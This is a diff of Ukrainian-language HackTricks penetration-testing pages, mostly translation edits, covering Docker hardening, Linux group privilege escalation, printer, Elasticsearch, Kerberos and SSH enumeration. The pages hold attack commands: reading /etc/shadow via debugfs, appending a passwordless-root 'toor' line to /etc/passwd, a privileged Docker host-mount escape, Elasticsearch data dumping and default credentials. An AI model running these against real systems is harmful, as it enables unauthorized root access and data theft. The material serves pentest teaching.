- **Регулярно** **перебудовуйте** свої образи, щоб **застосовувати патчі безпеки до хоста та образів.**
- Розумно керуйте своїми **секретами**, щоб ускладнити доступ до них зловмиснику.
- Якщо ви **використовуєте демон Docker, використовуйте HTTPS** з автентифікацією клієнта та сервера.
- Якщо ви **використовуєте демон docker, використовуйте HTTPS** з автентифікацією клієнта та сервера.
- У вашому Dockerfile, **надавайте перевагу COPY замість ADD**. ADD автоматично розпаковує стиснуті файли і може копіювати файли з URL-адрес. COPY не має цих можливостей. Коли це можливо, уникайте використання ADD, щоб не піддаватися атакам через віддалені URL-адреси та Zip-файли.
- Майте **окремі контейнери для кожного мікросервісу**.
- Майте **окремі контейнери для кожного мікросервісу**
- **Не ставте ssh** всередині контейнера, “docker exec” можна використовувати для ssh до контейнера.
- Майте **менші** образи **контейнерів**.
- Майте **менші** образи **контейнерів**
## Вихід з Docker / Підвищення привілеїв
Якщо ви **всередині контейнера Docker** або маєте доступ до користувача в **групі docker**, ви можете спробувати **втекти та підвищити привілеї**:
Якщо ви **всередині контейнера docker** або маєте доступ до користувача в **групі docker**, ви можете спробувати **втекти та підвищити привілеї**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Обхід плагіна автентифікації Docker
Якщо у вас є доступ до сокета Docker або доступ до користувача в **групі docker, але ваші дії обмежуються плагіном автентифікації Docker**, перевірте, чи можете ви **обійти його:**
Якщо у вас є доступ до сокету docker або доступ до користувача в **групі docker, але ваші дії обмежуються плагіном автентифікації docker**, перевірте, чи можете ви **обійти його:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Ускладнення Docker
- Інструмент [**docker-bench-security**](https://github.com/docker/docker-bench-security) - це скрипт, який перевіряє десятки загальних найкращих практик щодо розгортання контейнерів Docker у виробництві. Тести повністю автоматизовані і базуються на [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Вам потрібно запустити інструмент з хоста, на якому працює Docker, або з контейнера з достатніми привілеями. Дізнайтеся, **як його запустити в README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
Вам потрібно запустити інструмент з хоста, на якому працює docker, або з контейнера з достатніми привілеями. Дізнайтеся, **як його запустити в README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Посилання
@ -373,5 +377,4 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Групи Sudo/Admin
## Sudo/Адміністративні Групи
### **PE - Метод 1**
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхідний шлях для цієї проблеми тут: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхід цього питання тут: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -76,7 +76,7 @@ sudo su
## Група співробітників
**staff**: Дозволяє користувачам додавати локальні модифікації до системи (`/usr/local`), не потребуючи прав root (зауважте, що виконувані файли в `/usr/local/bin` знаходяться в змінній PATH будь-якого користувача, і вони можуть "перекривати" виконувані файли в `/bin` і `/usr/bin` з таким самим ім'ям). Порівняйте з групою "adm", яка більше пов'язана з моніторингом/безпекою. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: Дозволяє користувачам додавати локальні модифікації до системи (`/usr/local`), не потребуючи прав root (зауважте, що виконувані файли в `/usr/local/bin` знаходяться в змінній PATH будь-якого користувача, і вони можуть "перекривати" виконувані файли в `/bin` і `/usr/bin` з тією ж назвою). Порівняйте з групою "adm", яка більше пов'язана з моніторингом/безпекою. [\[source\]](https://wiki.debian.org/SystemGroups)
У дистрибутивах debian змінна `$PATH` показує, що `/usr/local/` буде виконуватися з найвищим пріоритетом, незалежно від того, чи є ви привілейованим користувачем, чи ні.
```bash
@ -128,11 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Disk Group
## Дискова група
Ця привілегія майже **еквівалентна доступу root**, оскільки ви можете отримати доступ до всіх даних всередині машини.
Files:`/dev/sd[a-z][1-9]`
Файли:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -148,7 +148,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Однак, якщо ви спробуєте **записати файли, що належать root** (як `/etc/shadow` або `/etc/passwd`), ви отримаєте помилку "**Доступ заборонено**".
## Група відео
## Група Video
Використовуючи команду `w`, ви можете дізнатися **хто увійшов в систему** і вона покаже вихід, подібний до наступного:
```bash
@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** означає, що користувач **yossi фізично увійшов** до терміналу на машині.
**Група video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Для цього вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
Група **video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size
![](<../../../images/image (463).png>)
Потім змініть Ширину та Висоту на ті, що використовуються на екрані, і перевірте різні Типи зображень (і виберіть той, який краще відображає екран):
Потім змініть Ширину та Висоту на ті, що використовуються на екрані, і перевірте різні Типи зображень (і виберіть той, який найкраще відображає екран):
![](<../../../images/image (317).png>)
@ -175,13 +175,13 @@ cat /sys/class/graphics/fb0/virtual_size
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів сервісів** або деяких **файлів бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
**Перевірте, які файли учасники root можуть модифікувати**:
**Перевірте, які файли можуть модифікувати учасники root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
Ви можете **підключити кореневу файлову систему хост-машини до обсягу екземпляра**, тому, коли екземпляр запускається, він негайно завантажує `chroot` у цей обсяг. Це фактично надає вам права root на машині.
Ви можете **монтувати кореневу файлову систему хост-машини до обсягу екземпляра**, тому, коли екземпляр запускається, він відразу завантажує `chroot` у цей обсяг. Це фактично надає вам root на машині.
```bash
docker image #Get images from the docker service
@ -193,4 +193,36 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Нарешті, якщо вам не подобаються жодні з попередніх пропозицій або вони не працюють з якоїсь причини (docker api firewall?), ви завжди можете спроб
Нарешті, якщо вам не подобаються жодні з попередніх пропозицій, або вони не працюють з якоїсь причини (docker api firewall?), ви завжди можете спробувати **запустити привілейований контейнер і втекти з нього**, як пояснено тут:
{{#ref}}
../docker-security/
{{#endref}}
Якщо у вас є права на запис над сокетом docker, прочитайте [**цей пост про те, як підвищити привілеї, зловживаючи сокетом docker**](../#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## Група lxc/lxd
{{#ref}}
./
{{#endref}}
## Група Adm
Зазвичай **члени** групи **`adm`** мають права на **читання** файлів журналів, розташованих у _/var/log/_.\
Отже, якщо ви скомпрометували користувача в цій групі, вам обов'язково слід **переглянути журнали**.
## Група Auth
У OpenBSD група **auth** зазвичай може записувати в папки _**/etc/skey**_ і _**/var/db/yubikey**_, якщо вони використовуються.\
Ці права можуть бути зловжиті за допомогою наступного експлойту для **підвищення привілеїв** до root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Groups
## **PE - Метод 1**
@ -89,7 +88,7 @@ debugfs: cat /etc/shadow
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Однак, якщо ви спробуєте **записати файли, що належать root** \(як `/etc/shadow` або `/etc/passwd`\), ви отримаєте помилку "**Доступ заборонено**".
Однак, якщо ви спробуєте **записати файли, що належать root** \(наприклад, `/etc/shadow` або `/etc/passwd`\), ви отримаєте помилку "**Доступ заборонено**".
# Video Group
@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** означає, що користувач **yossi фізично увійшов** до терміналу на машині.
**Група video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
Група **video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -116,7 +115,7 @@ cat /sys/class/graphics/fb0/virtual_size
# Група Root
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких конфігураційних файлів **сервісів** або деяких файлів **бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів сервісів** або деяких **файлів бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
**Перевірте, які файли можуть модифікувати учасники root**:
```bash
@ -126,13 +125,16 @@ find / -group root -perm -g=w 2>/dev/null
Ви можете змонтувати кореневу файлову систему хост-машини до обсягу екземпляра, тому, коли екземпляр запускається, він відразу завантажує `chroot` у цей обсяг. Це ефективно надає вам root на машині.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@
Для отримання додаткової інформації перегляньте:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# Основна інформація
З [тут](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Сировинний друк - це те, що ми визначаємо як процес встановлення з'єднання з портом 9100/tcp мережевого принтера. Це стандартний метод, який використовують CUPS та архітектура друку Windows для зв'язку з мережевими принтерами, оскільки він вважається «_найпростішим, найшвидшим і, загалом, найнадійнішим мережевим протоколом, що використовується для принтерів_». Сировинний друк на порту 9100, також відомий як JetDirect, AppSocket або PDL-datastream, насправді **не є протоколом друку сам по собі**. Натомість **всі дані, що надсилаються, безпосередньо обробляються друкуючим пристроєм**, так само, як і паралельне з'єднання через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статус і повідомлення про помилки. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировинний друк на порту 9100 який підтримується майже будь-яким мережевим принтером використовується як канал для аналізу безпеки з PRET та PFT.
З [тут](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Сировинний друк - це те, що ми визначаємо як процес встановлення з'єднання з портом 9100/tcp мережевого принтера. Це стандартний метод, який використовує CUPS та архітектура друку Windows для зв'язку з мережевими принтерами, оскільки вважається «_найпростішим, найшвидшим і, загалом, найнадійнішим мережевим протоколом, що використовується для принтерів_». Сировинний друк на порту 9100, також відомий як JetDirect, AppSocket або PDL-datastream, насправді **не є протоколом друку сам по собі**. Натомість **всі дані, що надсилаються, безпосередньо обробляються друкуючим пристроєм**, так само, як і паралельне з'єднання через TCP. На відміну від LPD, IPP та SMB, це може надсилати прямий зворотний зв'язок клієнту, включаючи статус та повідомлення про помилки. Такий **двосторонній канал** надає нам прямий **доступ** до **результатів** команд **PJL**, **PostScript** або **PCL**. Тому сировинний друк на порту 9100 який підтримується майже будь-яким мережевим принтером використовується як канал для аналізу безпеки з PRET та PFT.
Якщо ви хочете дізнатися більше про [**зламування принтерів, прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
Це інструмент, який ви хочете використовувати для зловживання принтерами:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan**

View File

@ -4,7 +4,7 @@
## Основна інформація
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для доставки даних, які називаються Beats.
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для передачі даних, які називаються Beats.
### Що таке індекс Elasticsearch?
@ -12,7 +12,7 @@ Elasticsearch є **розподіленим**, **відкритим** пошук
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для забезпечення швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
Під час процесу індексації Elasticsearch зберігає документи та конструює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі.
Під час процесу індексації Elasticsearch зберігає документи та створює інвертований індекс, що дозволяє здійснювати пошук майже в реальному часі. **API індексу** використовується для додавання або оновлення JSON-документів у конкретному індексі.
**Порт за замовчуванням**: 9200/tcp
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому будь-що, що може BF HTTP basic auth, може бути використано).\
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому все, що може BF HTTP basic auth, може бути використано).\
Ось у вас є **список стандартних імен користувачів**: _**elastic** (суперкористувач), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ У старіших версіях Elasticsearch є стандартний пароль **changeme** для цього користувача.
```
curl -X GET http://user:password@IP:9200/
@ -87,7 +87,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodes | | |
Ці кінцеві точки були [**взяти з документації**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html), де ви можете **знайти більше**.\
Також, якщо ви отримуєте доступ до `/_cat`, відповідь міститиме підтримувані кінцеві точки `/_cat/*` екземпляра.
Також, якщо ви отримуєте доступ до `/_cat`, відповідь міститиме `/_cat/*` кінцеві точки, підтримувані екземпляром.
У `/_security/user` (якщо автентифікація увімкнена) ви можете побачити, який користувач має роль `superuser`.
@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
Щоб отримати **інформацію про те, які дані зберігаються в індексі**, ви можете отримати доступ до: `http://host:9200/<index>` з прикладу, в цьому випадку `http://10.10.10.115:9200/bank`
Щоб отримати **інформацію про те, які дані зберігаються в індексі**, ви можете отримати доступ до: `http://host:9200/<index>` в цьому випадку `http://10.10.10.115:9200/bank`
![](<../images/image (342).png>)
@ -112,9 +112,9 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
_Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі банку та поля цього індексу, які ми бачили в попередньому розділі._
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **було знайдено 1000 документів** в цьому індексі, але лише 10 були повернені. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **в цьому індексі знайдено 1000 документів**, але лише 10 були повернені. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
Але тепер, коли ви знаєте, що **цей індекс містить 1000 документів**, ви можете **вивантажити всі з них**, вказавши кількість записів, які ви хочете вивантажити в параметрі **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_Примітка: Якщо ви вкажете більше число, всі записи будуть вивантажені в будь-якому випадку, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._
\&#xNAN;_Примітка: Якщо ви вкажете більше число, всі записи все одно будуть вивантажені, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._
### Вивантажити все
@ -135,7 +135,7 @@ _Зверніть увагу, що параметр q, який використ
### Права на запис
Ви можете перевірити свої права на запис, спробувавши створити новий документ в новому індексі, запустивши щось на зразок наступного:
Ви можете перевірити свої права на запис, спробувавши створити новий документ у новому індексі, запустивши щось на зразок наступного:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -157,15 +157,16 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
## Автоматична нумерація
Деякі інструменти отримають частину даних, представлених раніше:
Деякі інструменти отримають деякі з даних, представлених раніше:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
# **Типові паролі**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# Конфігураційні файли
```text

View File

@ -27,11 +27,13 @@ PORT STATE SERVICE
Уразливість MS14-068 дозволяє зловмиснику підробити токен входу Kerberos легітимного користувача, щоб неправомірно заявити про підвищені привілеї, такі як бути адміністратором домену. Ця підроблена вимога помилково підтверджується контролером домену, що дозволяє несанкціонований доступ до мережевих ресурсів у лісі Active Directory.
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Інші експлойти: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Автоматичні команди
## HackTricks Автоматичні Команди
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.

View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
**SSH (Secure Shell або Secure Socket Shell)** - це мережевий протокол, який забезпечує безпечне з'єднання з комп'ютером через незахищену мережу. Він є важливим для підтримки конфіденційності та цілісності даних при доступі до віддалених систем.
@ -21,10 +19,10 @@
**Бібліотеки SSH (реалізація на стороні сервера):**
- [libssh](https://www.libssh.org) багатоплатформна C бібліотека, що реалізує протокол SSHv2 з прив'язками в [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) та [R](https://github.com/ropensci/ssh); використовується KDE для sftp та GitHub для інфраструктури git SSH
- [libssh](https://www.libssh.org) багатоплатформена C бібліотека, що реалізує протокол SSHv2 з прив'язками в [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) та [R](https://github.com/ropensci/ssh); використовується KDE для sftp та GitHub для інфраструктури git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) бібліотека сервера SSHv2, написана на ANSI C та орієнтована на вбудовані, RTOS та середовища з обмеженими ресурсами
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) бібліотека Apache SSHD на Java базується на Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) бібліотека протоколу SSHv2 на Python
- [paramiko](https://github.com/paramiko/paramiko) бібліотека протоколу Python SSHv2
## Перерахування
@ -34,14 +32,14 @@ nc -vn <IP> 22
```
### Автоматизований ssh-аудит
ssh-аудит - це інструмент для аудиту конфігурації ssh сервера та клієнта.
ssh-audit - це інструмент для аудиту конфігурації ssh-сервера та клієнта.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) - це оновлений форк від [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Особливості:**
- Підтримка серверів протоколів SSH1 та SSH2;
- аналіз конфігурації SSH клієнта;
- аналіз конфігурації SSH-клієнта;
- отримання банера, розпізнавання пристрою або програмного забезпечення та операційної системи, виявлення стиснення;
- збір алгоритмів обміну ключами, ключів хоста, шифрування та коду автентифікації повідомлень;
- вивід інформації про алгоритми (доступно з, видалено/вимкнено, небезпечно/слабко/старе тощо);
@ -77,7 +75,7 @@ $ python3 ssh-audit <IP>
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Слабкі шифрові алгоритми
### Слабкі шифрувальні алгоритми
Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використовувати **sslcan** або **sslyze**.
@ -101,7 +99,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
```
msf> use scanner/ssh/ssh_enumusers
```
### [Брутфорс](../generic-hacking/brute-force.md#ssh)
### [Brute force](../generic-hacking/brute-force.md#ssh)
Деякі загальні ssh облікові дані [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) та [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) і нижче.
@ -119,7 +117,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys
#### Відомі погані ключі можна знайти тут:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Слабкі SSH ключі / Передбачуваний PRNG Debian
@ -129,27 +129,27 @@ msf> use scanner/ssh/ssh_identify_pubkeys
### Kerberos
**crackmapexec** з використанням протоколу `ssh` може використовувати опцію `--kerberos`, щоб **автентифікуватися через kerberos**.\
**crackmapexec** з використанням протоколу `ssh` може використовувати опцію `--kerberos` для **автентифікації через kerberos**.\
Для отримання додаткової інформації запустіть `crackmapexec ssh --help`.
## За замовчуванням облікові дані
## Стандартні облікові дані
| **Виробник** | **Імена користувачів** | **Паролі** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
